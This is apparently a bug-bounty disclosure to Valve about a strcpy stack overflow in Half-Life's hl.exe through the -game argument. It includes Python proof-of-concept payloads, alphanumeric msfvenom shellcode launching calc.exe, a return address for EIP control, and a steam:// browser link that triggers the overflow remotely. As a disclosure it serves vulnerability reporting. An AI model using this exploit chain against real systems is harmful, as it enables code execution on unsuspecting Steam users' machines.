Valve · Report #832750
Buffer overflow In hl.exe's launch -game argument allows an attacker to execute arbitrary code locally or from browser
Summary
Half Life 1 allows users to set various launch arguments when running the game from the command line, one of them is "-game" which specifies the game/mod to be launched. Documented here
hl.exe -game <argument>
The contents of this argument is copied via a call to strcpy() onto the stack without any size checking, this results in adjacent memory being overwritten including the stored return address.
This can be tested by parsing an overly long argument to hl.exe -game <argument> and easily viewed in Immunity Debugger by opening hl.exe and setting the arguments field to -game <overly long input> as seen below. {F762911}
I believe this routine in WinMain() is the root cause, specifically the strcpy() call. {F762804}
An attacker can demonstrably use this to hijack program control flow and execute arbitrary code on the target system, as you can see here EIP is controlled. {F762809}
Control flow being hijacked after return address is overwritten and function returns {F762846} Beginning of shellcode execution {F762842} This memory corruption can be triggered through Steam's URI handler which allows a browser to launch steam games and specify arguments.
payload = "A"*524
payload += "B"*4
print payload
'''
Either run from command line/in debugger using hl.exe -game <payload> or use the payload in the browser POC below
'''
The exploit below is not quite working because the shellcode won't execute in it's entirety, however the first few instructions get executed demonstrating arbitrary code execution.
import struct
#msfvenom -p windows/exec CMD=calc.exe BufferRegister=ESP --platform windows -a x86 -e x86/alpha_upper
shellcode = "TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHMRUPC0C03PLIM56Q9PBDLK606PLK0R4LLK0R24LKT2VH4ONW1Z7V6QKONLWL513L32VLQ09QXO4MEQ8GJBJRF2PWLK62TPLK1ZWLLKPL4Q48JC0H318Q0QLK0Y7PC1ICLK0ITXZCGJW9LK04LKUQN6FQKONLIQ8ODM319W08M0D5ZV5SSMKHWKSMFDRUZD68LKF814UQYC2FLKTLPKLKQHELS1YCLKC4LK318PMYW4Q47TQK1K51PYQJPQKOKP1O1OPZLK4RJKLM1MCZC1LMK5OBEP5P5PPPBHVQLKROK7KO8UOKZPOE920VSXY6MEOMMMKOYE7LS63LTJK0KKKP3E35OKG75C42ROCZS01CKOYE3SCQBLRC6NRE482E5PAA"
payload = "A"*524
payload += struct.pack("<L",0x757d6537) #JMP ESP will differ
payload += shellcode
print payload
Browser POC:
steam://rungameid/70//-game <payload output>
Due to Half Life's command line argument parsing, the entire payload has to comprise of ASCII printable characters, as a result I could not use a JMP ESP gadget from the binary or any loaded process specific DLLs, instead I had to use a gadget address in an OS module which was protected by ASLR.
However, being a 32bit process means the ASLR entropy on this gadget is relatively low and a successful attack could be executed on AT WORST 1/256 victims.
Older versions of Windows that don't employ ASLR on various OS .dlls would theoretically guarantee a near 100% successful exploitation rate.
Test Machine
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.18362 N/A Build 18362
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 1 AuthenticAMD ~3000 Mhz
Hotfix(s): 12 Hotfix(s) Installed.
[01]: KB4537572
[02]: KB4515383
[03]: KB4516115
[04]: KB4521863
[05]: KB4524244
[06]: KB4524569
[07]: KB4528759
[08]: KB4537759
[09]: KB4538674
[10]: KB4541338
[11]: KB4501374
[12]: KB4551762
Impact
An attacker could use this vulnerability to gain remote code execution on the host machine of a victim who clicked on a malicious link as long as they have Steam and Half Life installed.
According to SteamSpy this could affect as many as ten million users. Link to Half Life Stats
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.